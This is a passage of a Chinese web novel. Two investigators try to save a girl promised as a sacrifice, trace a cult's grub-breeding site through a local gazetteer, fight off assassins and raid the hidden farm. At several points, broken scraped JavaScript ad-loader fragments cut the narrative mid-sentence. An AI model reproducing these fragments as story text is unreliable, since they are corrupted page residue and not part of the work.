严绍还是那副慈父模样，“仙师难道不知，外头的佃农们都在找雁姐儿吗？这样出去，岂不是叫她落入他人之手。” 抬腿往前走了几步，严绍看向严元雁不急不慢道：“雁姐儿，爹不是说了会打点人送你出去。你何必如此着急，还给仙师们添上这些麻烦。” 严元雁神色很是慌乱，但她还是努力说道：“爹，我没想去哪里，是在家中闲来无事，想同仙师一齐去镇上看看呢。” 严绍笑道：“是吗，可你才回来不久，外头又乱，今日还是别出去了。对了，你怕是不知晓罢，你外出这几日阿娘有多想你，你这样胡乱跑出去，岂不是平白惹她伤心。” 乔元闻言心头一跳，严绍这话不对劲。 一提到郑氏，严元雁好容易打起的精神气瞬间消散了。她若走了，阿娘该怎么办？她阿娘同她一样，不过是在后院讨生活的可怜人。 见女儿迈出院子的步子缓缓收回，严绍的笑容更真情实意了些，“是了，快回来罢，我便知我家雁姐儿最是乖巧听话。” 瞧着严元雁似要往严绍所在的方向走，乔元一把拉住她，“雁姐儿，不是说好要一起去镇上买花灯，我们先去买了，稍后回来也不迟。严员外，你不会连这点子空闲也不给罢？” 严绍笑笑，不接乔元的话，他只盯着严元雁，看她如何反应。 严元雁看着二人，沉默半晌，最终还是轻轻拂开了乔元的手，她轻声道：“劳烦仙师带我到此处，今日家里事多，就先不去了。” 乔元还想开口，袖口却被身侧的江稷扯了一下。 他冲她摇了摇头。 严绍很满意严元雁的反应，他对身后的仆役道：“还不快带三姑娘回去。” 仆役们领命而来，很快便簇拥着严元雁往回走去。 严绍却没有立刻回身，而是站在原地不动。他脸上的笑容一如既往，只是笑意却不达眼底，他道：“二位仙师在我严家也叨扰多日了，这满地的地蚕既除不掉，不若回去找你们师傅再学些，免得贻笑大方了。” 36. 蛴螬（十） 江稷站在乔元前头，不等她开口，直接将话挡了回去，“我师妹的本事还用不到员外题点，倒是员外可得想想，不听神王之言落此下场，报应不爽，这点地蚕，怕是还不能够。” 乔元抬眼，意外江稷能说出这般刻薄的话。 见严绍脸色一沉，江稷面上的笑意愈发大了些，他故意往严绍肺管子上戳道：“对了，先头说要给的银钱员外可别赖了。我们师傅虽避世多年，但总归有些能耐，这银钱若少了几个子，落了因果，只怕不止阴神教一个要来寻员外麻烦。若流年不利，员外这条命可得就抵上了。” 严绍原本放在身侧的双手交叠紧握，显是气极，但转而又想到了什么，他唇角又往上提了提，恢复成一贯笑意相迎的模样，他道：“这是自然，二位仙师除虫辛苦，这些银钱稍后定送到二位住处。” 江稷道：“既如此，我同师妹这便去收拾东西，今日必不再叨扰府上。” 严绍目送二人离去，这才敛下眉目，眼底一片阴郁。 乔元跟着江稷回到院里，方才人多口杂不便开口，现下回到自己院落了，她带着怒意问道：“你为何拦着我，后日便是初十了，严元雁再不走，这条命就没了。” 江稷道：“我知道。” “那你为何？”乔元很是不解。 “不是她，还会是旁人。”江稷定定地看着她，一句话便让乔元沉默下来。 倘若初十这场献祭避无可避，今日严元雁被她们带着离开，严绍为了稳定局面，定会另选他人。届时，这人可能是吴氏、是柳氏、是王氏、这些女子不论何种姓氏和出身，她们都会有一个共同点，皆是这涌泉村里的女子。 说到底，严元雁字字泣血的哭诉，让她关心则乱了。 乔元拍拍脸，试图让自己恢复冷静，她道：“你打算如何？” 江稷挑眉道：“想不想看他身败名裂？” 乔元一听，凑到他身前道：“你有法子？” 江稷单手撑着下巴，一派闲适，“该打探的消息也已经打探清楚了，天耕大仙弟子的身份我可是用腻了，住在此处有严绍盯着，我施展不开手脚，不若住到外头去，便宜我们行事。” 乔元心里刚好也有些疑惑需要证实，她答应道：“好，那我们这便走。” 很快，二人出府的消息便传到了严绍耳朵里。 他挥退前来禀报的仆役，执笔的右手不停，片刻后，将写完的信递给管家。 “今日便送出去。” 做完这一切，见管家躬身离开，严绍这才起身，往严元雁院落的方向走去。 严元雁被仆役们围着带回院子后，再度坐回在海棠树下。小院同去时没有任何分别，抬头还是四四方方的天，唯一不同的是，这次小院的四角都守着仆役，她再也走不出这里半步。 枯坐了半个时辰，当小丫头禀报说严绍来见她时候，严元雁空洞无神的双目这才重新凝出点点眸光。 严绍背手进入小院，便见坐在石桌前的女儿。吩咐仆役将费心制作的吃食糕饼端了上来，他笑道：“雁姐儿，可饿了？爹叫他们给你准备了点心，你先用些罢。” 明明面前站着是疼爱了自己十五载的爹，严元雁却惊觉这么多年，自己似是从来都没看透过他。 脑中带着虚无的执念，严元雁总觉得自己该再问一问，她静默一会儿，几近哀求道：“爹，后日便是初十了，不若我们趁着无人发现，连夜离开此处罢。” 严绍看她的目光像是在看不懂事的孩童，他道：“雁姐儿，莫说这些孩子气的话。我们严家世代居于此，怎能背井离乡去往他处。莫不是方才那两位仙师同你说了什么，你才有如此想法？” 严元雁下意识摇头否认，“……不曾，她们只是想带我去买花灯。” 严绍点了点头，又露出身为人父的慈祥，关怀道：“如此便再好不过了，雁姐儿，今日你也累了，莫要多想，回房去好好歇息罢。” 严绍平淡的、不起波澜的回答，让严元雁脑海中的惊恐的愈发蔓延，她双手搭在腿上，紧紧攥着衣服一角，颤声道：“爹……可若再不走，后日我便要被送入阴王祠了。” 严绍坐在上首，看向严元雁的目光满是怜悯，“爹自然知道，你方才不是听到了，爹已经着人在收拾东西了，待一入夜，外头闹事的佃农们一走，我便能差人送你离开。雁姐儿，你说如此可好？” 是了，她该走的，该走的。 但当着严绍的面，话到嘴边，严元雁却嚅嗫着，连一个‘好’字都说不出口。 在规矩里生活了十五年，她没办法克制自己不去想，她若走了，严家该怎么办？ 爹、娘、两位哥哥，严家的每一个人都要受到她的连累。 倘若阴神教所言为真，她一走，整个涌泉村便都要受害，那她更是此处的罪人。 严绍就这样目不转睛地看着女儿，看她面色紧绷，死咬唇角，保养得宜的指甲嵌入肉里，刻出一个深深的印记。 他笑了。 严绍缓慢起身道：“雁姐儿，你再好好想想。时间还多，等你想通了，随时都能来找爹，爹一定送你走。” 此刻的严元雁已经没有办法再回答他了，她内心的惊恐不足以为外人道。 严绍垂眸，深深看了她一眼，这才离开了偏僻的院落。 一直在小院里坐到天黑，仆役送了吃食进来，严元雁才发现已经自己坐了一个时辰。 满桌珍馐，她却没有丝毫胃口。 严元雁扶着桌角起来，对着身后的小丫头道：“陪我出去走走罢。” 小丫头依言扶着严元雁，主仆二人漫无目的地在宅院里走着。 严元雁不知自己想要去往何处，只想出来透透气。 穿过花园，重新走到今日躲藏的水缸后头，严元雁只忽觉恍如隔世。 寂夜无声，仆役们也不会料到主家人会出现在花园中。 院中由远及近传来两个男子的声音，声音里俱带着浓浓的疲惫。 “今日这差事当的真是累。” “可不是，我到严家这么多年，统共也就遇着这一回。午后院外那几个佃农一板斧砸下来，差点儿没将我劈成两段。” “正是呢，我挡在前头，心里都有些发憷。” “按我说，这事儿就是触怒了阴神王才落得如此下场，三姑娘既有能力解灾，入祠便是，何苦让我们这些人替她苦苦撑着 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 。” “这话也不好说，当初员外也是为了大家着想，才吩咐种的麦子，员外可真是顶好的人。” “那又如何，说到底着事儿是他们严家闯的祸，如今乱成这样，自该严家人来收拾。” “哥哥说的有理，不过总归不是咱们该的事儿。只盼着初十那日快到，三姑娘能早些进去平息怒气也就是了。” “贤弟说的这话不错，灾祸一解，我们涌泉村也就太平了。” 二人交谈着远去，没人注意到阴影里站着的主仆二人。 听完这一番言语，严元雁扯了扯嘴角，对着小丫头道：“你听，大家都盼着我去死呢。” 小丫头用袖口擦着眼角的泪滴，“姑娘，你别听他们瞎说，这本就不干姑娘的事儿，姑娘就该同员外说，如今就出发，逃得远远的才好。” 这一日折腾下来，严元雁心口早就麻木了，她望着天边的残月，早上同乔元一起抗争的勇气已经被消磨殆尽。 月色将她的身影拉长，影子被藤蔓牢牢抓住。 “不逃了。” —— 涌泉村是不能住了，乔元同江稷从严府出来后，二人直奔最近的客舍。 乔元东西多，又带着严绍给的足足的银锭，她一路上走的都有些鬼鬼祟祟。 江稷实在看不过眼，帮她分担了不少，二人这才顺利到客舍住下。 打开门，里头陈设虽比不上之前住的客舍，好赖也算干净整洁。乔元将东西收拾好，便去敲开江稷的门。 二人的房间布局雷同，江稷开门后，乔元摸着桌边坐下，开口道：“何处能找到写有涌泉村的方志？” 方志本意是地方志书，其中包含了大量的地理信息。有了方志，乔元便能排除周遭环境，对何处能大批饲养蛴螬有个大概。 江稷答道：“方志大都存放在县衙，你现在便要？” 乔元点头，想要救下严元雁，必须要找到是阴神教在何处饲养蛴螬。以他们现在的速度，如果一个地方一个地方找过去，便是过了一个月也找不到。 查阅方志是最快的办法。 江稷沉吟片刻，给了她一句准话，“你且回房等等，我定在入夜前替你找到。” 乔元谢过后，便回了自己房间，到了晚间，江稷果然捏着一本册子回来了。 拿到手后，乔元迫不及待地翻开，先大略看一看整个地方的山脉走向和地理构造。 乔元一页页看的认真，江稷立在她身侧，起了兴致道：“你识字？” “不识。”乔元答的很是干脆。 江稷见过不少睁眼说瞎话的人，如乔元这般这么理直气壮的倒是少见。 他一时语塞。 乔元也不管他相信与否，只道：“上头有图，大致能看个明白。” 江稷知她看的认真，也不再打扰，先回房去了。 没人在一旁看着，乔元也觉自在了许多，她认真比对着方志上所描写着各处的自然条件，寻找最有可能大范围饲养蛴螬的地方。 蜡烛里头掺了不少杂质，燃过半根，黑烟便熏的满屋都是，乔元却恍然未觉。 直到戌末十分，她才猛地一拍桌子，找到了！ 37. 蛴螬（十一） 乔元手指那处，是方志里靠后些的角落，角落里写了一行字。 “圣丰六年冬，后塘地动，有声如雷。屋宇摇动，人皆惊走。山崩地裂，死伤者众。” 方志里写的清楚，涌泉村所属的后塘镇，在圣丰六年，也就是三十四年前，有过一次地震。 地震袭来，山崩地裂，致使后塘镇屋舍倾倒受灾严重，地塌凹陷，已经完全不适合百姓生存。故而当时的知县请示州里，得了上头首肯，这才带着剩下的人搬到了后塘镇现在所处的位置。 而后塘镇的原址，则在离此处二十多里的西南。 景朝的方志约莫三十年修缮一次，乔元看了看方志扉页上写的修订时间，是五年前。 较之人类的兴替，山川湖海的变化非常之缓慢，这就意味着方志上写的东西，从五年前到现在，不会出现特别大的变化。 方志上所画的后塘镇原址外围，现如今已经被密林包围。因为地动，原本的地质构造也发生了变化，出现了嶙峋的高山和深陷的低谷，高低落差极大。 除此之外，后塘镇一开始之所以在原址兴起，是因为有洑水支流经过，泥沙沉积土壤肥沃，且有河流调节，湿度适宜，生活取水便宜。 人迹罕至，多样的生态环境，还有河流经过提供水源，没有比这一处更适合阴神教大范围饲养蛴螬了。 捏着方志，乔元起身往外走去，她得叫上江稷，现在就出发。 客舍里的人已经大都安睡，整个客舍里头静悄悄的，乔元的脚步声踏在木制的地板上，显得格外明显。 还未及江稷门口，乔元忽得听到一阵打斗声从他屋里传来，间或夹杂着杯盏碎裂的声音。 因着长久伏案，神色有些倦怠的乔元瞬息一凛，出事了。 手里没有趁手的武器，乔元第一时间返回房里拿上烛台。她将燃烧过半的蜡烛拔了干净，用来插蜡烛的尖角便露了出来。尖角虽不锋利，用来自保已经足够。 乔元虚靠着门边，右手紧握着烛台，轻轻推开一条缝隙。 门内的江稷正同两个黑衣人缠斗着，两个黑衣人手上各拿着一把长剑，剑招凌厉，攻势极强，每一招都充满了杀气，明显是训练有素的杀手。 江稷侧身避开其中一人刺来的剑锋，趁机绕到他身后，一拳砸向那人后颈。黑衣人吃痛疾步后退，同另一个人成守势。 被二人拿剑指着，手上没有趁手的武器，江稷却也不慌，游刃有余道：“你们杀不了我的，不若早些退去，免得将命折在这里。” 两个黑衣人对视一眼，一人道：“竖子狂妄。” 说罢，二人调整姿态同步向前，齐齐朝江稷飞身过来。 江稷随手抄了把旁边的椅子，接住二人往下砸来的剑。在椅子应声碎裂的瞬间，他一脚踢向近处那人的手腕，近处黑衣人手腕一麻，剑柄顺势脱落。 他抓住长剑，迅速转身，将剑挡在身前，抵挡住另一人的攻击。 剑锋交汇，火花四溅。 江稷笑道：“那可就别怪我了。” 说完，他浑身气势陡然一变，剑锋直接便朝着方才的黑衣人脖间刺去，黑衣人手中没有武器，只得不断退让，江稷的速度极快，未及他反应过来，便一剑封住那人的退路。 与此同时，另一个人黑衣人从侧面袭来，长剑如闪电般刺向江稷的背部。 眼看江稷躲闪不急，乔元直接推开门将手上的烛台砸向黑衣人。“江稷小心。” 没料到乔元会出现在此处，江稷瞳孔深处闪过一丝意外，他猛地弯腰避开黑衣人的长剑，剑招向下，黑衣人向前的剑锋收势不及，直直刺向他的同党。 江稷反手将剑往前一送，偷袭的黑衣人甚至都来不及格挡，便被长剑刺穿胸口。 乔元抛出的烛台这才落地，发出“哐当”一声，在地上滚了几圈才停下来。 变故发生的太快，乔元方才还见江稷似是出于劣势，眨眼间，两个黑衣人便已经双双躺在血泊里了。 江稷站在原地，浓厚的血腥味铺满而来。他有些不自然地眨了眨眼，弯腰捡起并未砸到人的烛台递到乔元面前。 “这么晚来找我，可有什么急事。” “他们是什么人？” 二人几乎是同一时间开口。 见江稷拿着烛台不发一言，乔元接着道：“是阴神教的人吗？” “我不清楚。”江稷摇头，想杀他的人太多，他的确不知道这些人是谁派来的。但以现在的情况来说，阴神教的可能性是最高的。 乔元点头，不再将注意力放在两个杀手身上，而是将塞在背后的方志拿了出来，回答江稷的问题，“我这么晚来找你，是找到阴神教饲养蛴螬的地方了。” 她手指点着方志一角，努力抬高些让江稷看的清楚。 江稷有些惊讶于她的坦然，他忍不住道：“你见我杀人，不怕吗？” 乔元反问道：“为何要怕？若他们是阴神教人，便是来要我们性命的。今日若不是你出手，那死的便是我们。况且……” 乔元看着角落里还在低低呻吟的两人，人都还没死透。 江稷抬手掩住唇角，凑向乔元身侧，“我看看。” 乔元顺势将方志塞到他手里，趁着他细看方志的功夫，回到自己屋内。 扶着桌角连灌了三杯冷水，乔元这才稍稍冷静下来。生平第一次见到那样血腥的场面，谁能不怕，方才在江稷面前装作若无其事，现在回到房内，乔元的双腿在克制不住地颤抖。缓了半刻，她将包袱收拾了出来。 见她又背着她那些家当，斜靠在门外的江稷道：“你收拾这些东西作甚？” “方才打斗的动静太大，想来没一会儿客舍的人就要来看了，若被他们瞧见报了官，我们的麻烦就大了，必须现在就得走。” 见乔元说的煞有介事，江稷轻叹，走到窗边，掏出一只袖箭朝天上发了出去。袖箭入空，发出一阵急促的尖啸。 他回头道：“不必担心，稍后便会有人来收拾。” 乔元面露怀疑，“当真？” 江稷充其量也不过是金台县的巡 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 检使，他还能支使得动灵州的人？ “当真。”江稷看向她，答得认真。 见江稷的神色不似作伪，乔元想了想，依言放下手里的包袱。她记得周进曾说过，江稷是临阳江氏之后，这或许是他们这些大宗族给族中子弟的秘门罢。 乔元不便多问，只道：“后塘村旧址离此处莫有二十多里，我们得现在就出发，若是顺路能找到坐骑便更好了。” 二十多里，若没有交通工具，徒步得走至少两个时辰。 江稷闻言笑笑，带着乔元行到客舍外。 乔元刚抬步要走，便听得他朝远处的林子吹了一声长哨。不过半晌，便见一匹黑马踏月色疾驰而来。 乔元定睛细看，正是当日出发往灵州来时，江稷骑的那一匹。 她奇道：“这匹马不是当时被留在灵州交界的客舍里头了？” 江稷道：“那处可关不住它，这家伙早几日便寻过来了，不过那时在严绍处，不便带它回来，我便将它放在了稍远些的林子里。” 二人言辞间，江稷扯着缰绳，利落翻身上马。 月色下，他朝乔元伸出手，“上来。” 救人要紧，乔元也不多扭捏，借着江稷的力坐到马背上。 “抓稳。”江稷丢下一句，下一瞬间身下的马便风驰电掣起来。 第一次乘坐马驹，乔元浑身僵硬，江稷走的是小路，路面不甚平坦，马背上下起落颠得乔元想吐，她尽量伏低身子，一边忍住胃里的翻江倒海，一边还要抓紧缰绳，防止自己被颠得掉下去。 黑马的速度极快，不过半个时辰，便到方志上所示的地方。 再往里头便是因为地动而突出地表的乱石，马匹无法进入，下马将乔元扶了下来，江稷轻拍马背，黑马便乖顺地往一旁的树林里走去。 被扶下马的乔元面色铁青，她脚底虽然踏着坚实的地面，但身体却还沉浸在马背上的律动之中。 接连而至的眩晕感，让她不得不扶着一旁的石头坐下。 江稷甫一回头，便见乔元瘫坐在地，他上前问道：“可还好？” 乔元冲他摆摆手，江稷不明白她是什么意思，又走近几步道：“是有什么话想说？” 见江稷还往她所在的方向靠近，乔元实在憋不住了，“哇——”一声，她张口直接吐在了江稷的面前。 …… 呕吐过后，乔元身心终于舒畅不少，她随手用袖口擦了擦嘴角的胃液，不顾面前因为沾到呕吐物有些僵硬的江稷，拿出方志开始比对方位。 江稷额上的青筋微有些凸起，但见乔元已经开始观察四周，他拧眉，认命般地坐在离呕吐物远一些的石头上。 乔元抬头，在天穹上寻找北斗七星辨认方位。 此刻已近子时，又是春夜，北斗七星应是达到了最高点。毫不费力地在天空中搜索一番，乔元果然在正北方的高空处找到了七颗连在一处的星星。 天枢指西，摇光指东。 记好方位，乔元起身对着江稷道，“走罢，我们进山。” 38. 蛴螬（十二） 进山不过半刻钟，便有条深不见底的地裂横在二人面前。 江稷往前走了几步，随手捡起身侧的石块丢了下去。 他站在地裂边等了好一会儿，也没听见响声。 江稷回头道：“这路怕是过不去了，我们得绕远一些才能进去。” 乔元没有搭腔，她正借着月色打量着周围的岩石断层。 她们学昆虫的，常年在野外跋山涉水研究昆虫族群，地理知识是她诸多技能中最为实用的一项。 对于地震地带而言，岩石层能看出的信息实在是太多了。 月色渐隐到云层里，目力可及处皆暗沉下来，乔元半眯着眼，努力辨认此处的地质特征。 江稷见状，从怀里掏出火折子，吹了口气，递给乔元。 乔元谢过，待观察完远处大致的岩石走向后，她将火折子凑到自己面前，探查着周围的断岩。 断岩表面平整，风化程度较低，岩面颜色较为单一，多为灰褐色，偶然几处掺杂着黄色。 乔元又上前往地裂下头看了看，她贴边抛了一块石头下去，先头还能听到石块和裂缝碰撞的声音，不过一会儿，便听不到任何声音了。 乔元起身，她基本看可以断定，圣丰六年的地动，应该是由地壳正断层导致的。 地壳正断层，指的是断层两侧的地壳块体，沿断层面发生相对下降运动。地壳正断层后，有时会形成悬崖或断崖，有时会形成裂谷或盆地。 乔元对江稷道：“我们不往上走，往下走。” “往下走？” 乔元颔首，“在山面另一处，应该会有缓坡。” 江稷面露质疑，“你如何得知？” 乔元也不同他多解释，甩下一句话就往后走，“就凭我是天耕大仙弟子。” 见乔元拿这话堵他，江稷也不恼。 这段时日，同乔元相处越多，江稷愈发觉得她懂东西，已经超出了一个小村女儿家该懂的范畴。 河伯授法已经无法解释这一切了，难不成她背后真的有高人指点？ 压下心头疑问，江稷走到乔元前头，在她面前打着头阵，二人一前一后往下处走去。 至少就如今局面看来，乔元懂得越多，于他而言，越是有利。 二人翻过小丘，又绕过一片树林，最后停在外围的碎石带里。他们已经在四周转了约有一个时辰了，始终不见有任何活人的踪迹。 眼看月色西沉。 江稷道：“我们莫不是找错了地方，当真是这一处吗？” 便寻不得，乔元的手心也不禁有些濡湿。她从怀里掏出方志，席地而坐，重新开始复盘自己是不是有所遗漏。 其实除却这一处，依据方志上所提供的地里信息，整个后塘镇上还有三处地方适合大量蛴螬生存。 第一处，是后塘镇东边的榆树林。 乔元来时候就经过那处，土质松软，绿荫成片。榆树又是蛴螬成虫金龟子爱吃的乔木，金龟子□□过后在此地产卵，春日孵化大量蛴螬，逻辑上没有丝毫问题。但这些榆树群近官道，若有大量蛴螬出现，第一时间便会被人发现，阴神教在此处大范围饲养蛴螬的可能性很低。 第二处，在后塘镇的外围的一处村庄里。 那处村庄人烟稀少，土地广袤且平坦，很是适合阴神教大范围饲养蛴螬。但考虑再三后，乔元将它排除在外。那处地表虽平坦，但有流量颇大的地表径流贯穿村庄。蛴螬虽喜潮湿，但土壤却不能过于黏重不透气。那处土壤含水量极高，蛴螬的致死率会大大提高。 最后一处，在偏北方的一处山林里。 这处是乔元从开始便一直犹豫的地方，因为不管是地里条件还是人文条件，这里都都极为适合大批量饲养蛴螬。但按方志地图比例来说，那处离涌泉村至少要八十里，以现在的交通工具而言，乔元不认为可以在一晚上就将那么多蛴螬运到地里。 合上方志，乔元抬眸看向江稷，肯定道：“必不会错。” 少女的眼神亮得像星辰，面色是出乎意料的坚定，江稷点头，“我再去附近找找。” “等等。”乔元喊住他。 阴神教排人专门饲养蛴螬，必须得保证吃喝用度。既然在这处找不到，乔元提出了个新建议，沿着远处洑水的径流走，定能发现蛛丝马迹。 重新确认路线，二人离开碎石带，往洑水径流的方向走去。 往前走了约莫有三里路，江稷突然抬手，示意乔元别动。 他踏着身侧的岩石轻轻往前一跃，轻巧地跳到前方，随后在前方的地里蹲下，不知查看些什么。 半晌，他起身，示意乔元过来。 乔元也不敢出声，轻手轻脚走到江稷身侧，看向江稷左手指的方向。 是两道明显的车辙印。 乔元回身同江稷对视一眼，皆看到二人眸中的喜色，只要沿着车辙印，必定能找到阴神教饲养蛴螬的地方。 怕留下太多的踪迹被人发现，接下去这一段路，皆是江稷先在前头先踩好点，再引着乔元过来。 二人一路前行，直到一个山洞前。山洞门前铺着许多藤蔓以作伪装，若不是跟着车辙走，山洞隐在藤蔓底下，即便贴边路过，都很难察觉此处能通人。 乔元跟在江稷后头，进入山洞，山洞初入狭小，待往里行了数十步，便见里面出现了几个不同方向的洞口。 地面上的车辙印已经被人踏碎，无法确认到底是从哪个洞口而来。正当二人一筹莫展之际，从靠右的洞口传来人声，江稷反应极快，一手便将乔元拉至另一侧的岩壁凹陷处内。 来人是两个身着粗布衣衫的农人，他们边走边说些话，手下还拉着一辆木制独轮车。 “今天这批地蚕运出去，便不用再送了罢。” “远些的那两个村应是不必了，涌泉村怕还是得送，那儿的地蚕可死了不少。不过也不打紧，马上便是初十了，神王冥诞一过，今年这活儿马上便能歇了。” “然也，然也。” 二人交谈着远去，压根没有注意到后侧的凹陷处，躲着两个人。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p>乔元被江稷挡在身后，鼻尖紧贴着他的外袍，一股若有似无的淡香萦绕在江稷鼻尖，莫名地，江稷觉得自己心口跳的有些快。他下意识回头看了乔元一眼，却见她丝毫没有注意此刻二人的姿势有多不妥，她的精神全集中在外头那两个农人身上。 江稷收回眼神，做出了一个让他自己都觉得很是匪夷所思的举动，他略往前挺了挺身子，挡住了乔元向外看去的目光。 乔元皱眉抬眼看向江稷，示意他往旁边靠些。江稷却对乔元使了个颜色，下一瞬间，他身形一动，如同一阵劲风，直直往前面的农人掠去，走在前头的两个农人还没意识到发生什么，每人吃了江稷一个手刀便径直栽倒在地上。 见两人瞬息之间都被放倒，乔元嘴唇微张，但终究还是没说出什么，她小跑过去，先手掀开盖在推车上的油布。 满车扭动的蛴螬瞬间出现在她面前，“倏”一下，乔元面无表情地重新将油布盖上。 真该死啊这扭曲的冲击力。 江稷也看到了这一幕，他眼神同样有些飘忽。两个人默契地没说话，直直往农人出来的洞口走去。 往里再走了数十步，面前豁然开朗。 里头是一处平原，皎皎月光洒落在大地上，躲在洞口处，乔元略略打量了四周。崖壁光滑陡峭，且最里处有不少屋舍断裂倒地，她已经可以断定，这处定是后塘镇的部分旧址。 没想到阴神教会占了这样一个地方坐饲养场，乔元目露惊叹。一方面感叹造物主的神奇，另一方面，则感叹对方的谋划。这世上，怕是没人会想到拿一个地动后的旧址来做据点。 远处有不少农人正拿着火把和农具在垄上走着，蛴螬昼伏夜出，看来他们是已经将今日需要往外送的蛴螬挖出来了，正准备回去歇息。 “现在怎么办？”乔元用手肘碰了碰江稷。 “冲进去。”江稷说的直截了当。 “嗯？” 未及乔元反应，江稷飞身一跃，便直接出现在离他最近的农人面前。 乍一见生面孔，农人有片刻愣神，可惜他的嘴甚至都还未张开喊人，江稷便粗暴地送了他一个手刀。 农人倒地，发出“咚”地声响，这一处的动静，马上便被附近的人发现了。 “有人入侵。” “有人入侵。” 农人们的叫喊声此起彼伏，江稷却站在原地不动，他掰动手腕松散各处关节，聚过来的人越多，他解决起来越快。 乔元躲在洞口，看江稷打的眼花缭乱，直到站着的农人全数倒下，她这才从洞口出来，迈过躺在地上呻吟的农人，鼓掌走到江稷身边。 “巡检使可谓是当世武艺高强、身手不凡、以一当百、技压群雄的典范。” 江稷没有接话，他觉得自己的耳根有些发烫。他甚至不知道，这是方才打架打的自然发热，还是被乔元这一连串吹捧给闹的。 二人在田地里闲适地说着话，丝毫没有注意到，远方高处的屋舍内，有一双眼睛，正透过半开的窗户，死死地盯着他们。 39. 蛴螬（十三） 农人聚居此地多年不见生人，乍一见两个生面孔，面上皆是惊恐。 有个年纪大些的汉子从地上支撑着起来，壮着胆子出声道：“你们到底是什么人！怎敢擅入蚕园！” 江稷睨了他一眼，走到说话的人身边，居高临下地看着他，“叫你们主子出来。” 汉子眼里闪过一丝慌乱，梗着脖子道：“我们不过是厌烦尘世才避世在此，何来什么主子。”。 好容易找到了阴神教藏身的地方，拖得越久变数越大。 江稷不同他废话，冷声道：“方才你也见识了，便是你这里头的人全出来，也不够我一个人打的，你还是识相些，早点叫人出来。” 汉子的眼睛滴溜溜转了一圈道：“你们擅闯此地，打伤我们的人不说，还尽说些叫人听不懂的话。” 乔元倒是没曾想，事实都摆在眼前了，他还能这样抵死不认的。 她上前一步，饶有兴致道：“你说你们避世在此，就凭这点子菜地，可供不了这么多人一年的生计。” 被说到要紧处，汉子面色有些难看，他偏头显然不愿多言，“我们自有自己的法子。” 场面一直这样僵持下去也不是办法，江稷直言道：“同聪明人说聪明话，你既不愿说，那我只能一把火烧了此地，也算是一了百了。” 话音一落，其他因为害怕而缩到角落里的农人们霎时慌了神。 “恶徒！我今日就算拼了性命也要保护蚕园！” “危险，别去啊！” “蚕园如何能毁得，这岂不是天降灾祸。” 农人在另一头哭天抢地，第一次成了‘恶徒’的乔元，面上却没多大起伏。知道江稷不过是吓吓他们，伴着农人们的哭嚎声，她甚至还有心情蹲在地上观察一下田地里歪七竖八的蛴螬们。 同江稷对峙的汉子登时怒目圆瞪，他叫喊道：“你敢！” 江稷弯腰捡起方才农人们掉在地上的火把，火焰印着他半张脸，像是拘人精魄的罗刹，无端叫人胆寒，他道：“你说我敢是不敢。” 言罢，他连一丝犹豫也无，直接就将火把往里头的屋舍丢去。 “不——”汉子顾不得别的，纵身朝前扑去，想要接住掉落的火把。 却不料火把在空中翻腾几圈，落在了离屋舍前几步的地方。 见火把没有将屋舍点燃，被吓的面色发白的汉子这才回身怒视江稷道：“你！” 江稷却不管他，手上拿起第二只火把风轻云淡道：“这是第二次，若到下一次你还不说，这火把便会稳稳落至屋舍内。” 豆大的汗珠从汉子的脑门上滑落，面前这人极不好惹，汉子自觉有些招架不住。江稷的倒数声在耳边响起，汉子抬眼望向东南方高处的屋舍，眼里明显存了迟疑。 倒数声落，第二支火把直接落到了离屋舍不过几步的位置，眼看着江稷捡起第三支火把，作势就要丢出，汉子终是忍不住求饶道：“我说，我说。” 火把在空中一转，稳稳落回江稷手中。 江稷面上这才有了些笑意，“那便说来听听。” 见江稷同对方谈妥，一直在地上扒拉蛴螬的乔元这才拍了拍手上的泥，从地上站起走到他身边，想听听汉子如何说。 汉子颓然站在原地，张了张嘴刚要开口。 忽的，便见从远处传来一阵破风声。 江稷将火把直接抛出，同飞来的暗器对冲，长臂一伸迅速将乔元拉至他身后。 火把同暗器碰撞，直接从中部裂开碎成两半，炬头上的火焰四散在地，跳动着熄灭。 两人戒备地看着周围，一时不敢轻动。 “咚——”，却听得身后传来重物倒地的声音。 乔元回头一看，登时愕然不已。方才还好好站着的汉子，瘫倒在了地上，他的颈部插着一截飞镖，飞镖入肉三分，已是无力回天。 殷红的血从他脖间汩汩流出，身后有农人惊声尖叫起来，“死人了！死人了！” 江稷面色一变，掏出匕首留给乔元，叮嘱她在原地莫要走动，直接朝飞镖出现的方向疾步而去。 乔元依言留着原地，已经顾不上害怕，她双手紧紧攥着江稷留下的匕首，警戒地看着四周。后头的农人们乱成一团，也无人敢上到乔元身边来，两方一时维持着诡异的和平。 没过多时，江稷便沉着脸回来了。 乔元问道：“如何？” 江稷摇头，“那人蒙面，看不清脸。我同他交了手，但他仗着对地形熟络，往更深处逃窜了去。怕是调虎离山，我便先行回来了。” 乔元道：“看来是有人不想这汉子透露太多。” 那人既只杀了方才的汉子，想必他是核心人物，乔元看了眼远处缩在一块的农人，剩下这些人，知道的东西怕也没有多少。 今日虽找到了阴神教饲养蛴螬的地方，却仿佛进入了更深层的迷雾。 乔元顿了片刻又道：“这些农人该如何处置？” 人在灵州，他们可没这么多人手来审问。 江稷从袖口里掏一小截竹筒，用火点燃，对着天空发了一响。 乔元后知后觉，才发现那是灯球，灯球在空中炸开，发出一闪炫目的光芒，然后消失在空中。 江稷道：“且在此处等等罢，约莫半个时辰后便有人来了。” “好。” 身后的汉子已经救不活了，乔元撕下裙摆一角，盖在他面上让他走的体面些。 想了想，她还是走到缩成一团的农人面前，在离他们几步远的地方站定，朗声道：“方才那汉子为阴神教做事，却落得如此下场，你们自觉值是不值。” 眸光扫过众人，她又指了指江稷道：“我身后这位可是灵州的大官，你们方才也应该见到他发的灯球了，官府的人稍后便来。现在你们之中若有肯配合的，说出一些同阴神教有关线索，量刑时便能减轻刑罚。前三位说的，我必说动那位，保你不受皮肉之苦。” 这番话说完，乔元便在原地不动，安静地看着这些农人进行思想斗争。 农人们窃窃私语，人群在乔元面前骚动着。 过了一会儿，有一个矮小瘦弱的汉子突然扑到乔元面前跪下，“大人，大人，我是上月被他们骗过来的。我欠 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { 